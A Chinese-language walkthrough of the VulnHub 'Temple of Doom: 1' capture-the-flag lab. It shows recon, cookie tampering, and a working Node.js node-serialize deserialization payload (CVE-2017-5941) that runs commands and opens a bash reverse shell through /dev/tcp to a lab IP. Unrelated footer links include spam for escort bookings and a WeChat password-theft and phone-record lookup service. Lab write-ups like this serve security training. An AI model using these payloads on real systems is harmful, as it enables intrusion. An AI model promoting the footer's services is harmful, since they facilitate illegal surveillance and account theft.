VulnHub-Temple of Doom: 1-靶机渗透学习

访客4年前黑客资讯512

靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/

靶机难度:中级(CTF)

靶机发布日期:2018年6月8日

靶机描述:

由https://twitter.com/0katz创建的CTF

]难度:简单/中级

在VirtualBox中测试

注意:2种扎根 ***

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐


信息收集

nmap扫描IP

1610299152_5ffb3710ea1916d9206ad.png!small?1610299153641

nmap端口扫描

1610299164_5ffb371c1be7605881965.png!small?1610299164078

22 ssh

666 Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。

访问80端口

1610299169_5ffb3721e3c54b19c8c53.png!small?1610299169857

没有获得有用的信息,使用dirb,nikto扫描,结果也没发现什么

1610299179_5ffb372b426bff4215b45.png!small?1610299179247

1610299185_5ffb3731df18578bc148c.png!small?1610299186543

Node.js远程命令执行漏洞

不知道怎么办了,使用burpsuite抓一下包看看吧

1610299193_5ffb37398bb17a0b551f9.png!small?1610299193598


看到了cookie的值可能是一个base64编码

1610299218_5ffb375243c13e0b89ecd.png!small?1610299218484

界面获得一个json字符串感觉格式不完整,修改一下

解码后

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D

修改后

重新编码提交,获得一个界面

1610299227_5ffb375b60014fcf4478b.png!small?1610299227329

加上cookie使用dirb扫描依然失败,看了看老人们的,发现这里是考Node.js反序列化远程代码执行(CVE-2017-5941)这个漏洞

大佬写的很具体

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}


  • child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
  • child_process.exec 使用子进程exec执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。

编译后

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGU *** 3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=

1610299408_5ffb381015e5cea28130d.png!small?1610299408371

获得用户名 nodeadmin

直接使用bash获得反弹shell

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.56.3/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}

1610299347_5ffb37d344dfda017d769.png!small?1610299348427

相关文章

开房车去旅行——旅行的另一种体验方式

微博新浪“身体和灵魂,总有一个要在路上”是多少人的人生信条,而旅行可以同时让身体和灵魂一同抵达远方。然则,跟团游的诸多不便和自由行的奔忙劳累让不少人对出门旅行犹豫不决,越来越in的开房车去旅行才是真正...

贵州挂牌督办44起重大朱道来涉黑涉恶案件已办结41起

  中新网贵阳12月28日电 (记者 张伟)截至目前,贵州省扫黑除恶专项斗争领导小组办公室挂牌督办的44起案件中,已办结41起,尚在侦查阶段2起、审判阶段1起。   记者28日从贵州省人民政府新闻办...

苹果iPad Pro:A9X处理器并非最强

iPad Pro总算来啦,也产生了iPhone的服务承诺和期望。在这里款机器设备的身上,其A9X处理芯片毫无疑问是最引人注意的特点之一,因为它为一部平板电脑产生了桌面上级的CPU。从前期的显卡跑分看来...

3C游戏:砍传奇,也可免费赚钱!

那年我们都还年轻的时刻,最热门的网络游戏就是“热血传奇”了,这几年又由于渣渣辉的是兄弟就来砍我等魔性广告语,让许多晚辈感伤,原来你们以前玩的游戏这么土......现在一个叫“3C游戏”的平台又搞起来传...

上海高端经纪人,女模飞双(21岁)怎么预约

上海市高档模特经纪人,女模飞双(20岁)如何预约,上海市是一座成功者的集中地,对商业服务女学妹的要求也是较为大的,今日如果女学妹共享女学妹飞双,年纪21,身高185的高档兼职模特手机微信找寻方式 ,关...

10086通话记录查询清单(手机通话记录保留多久)

10086通话记录查询清单(手机通话记录保留多久)专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!通常我们用微信聊天,其实还有很多实用的小功能,比如普通的翻译功能,除了一些手机带...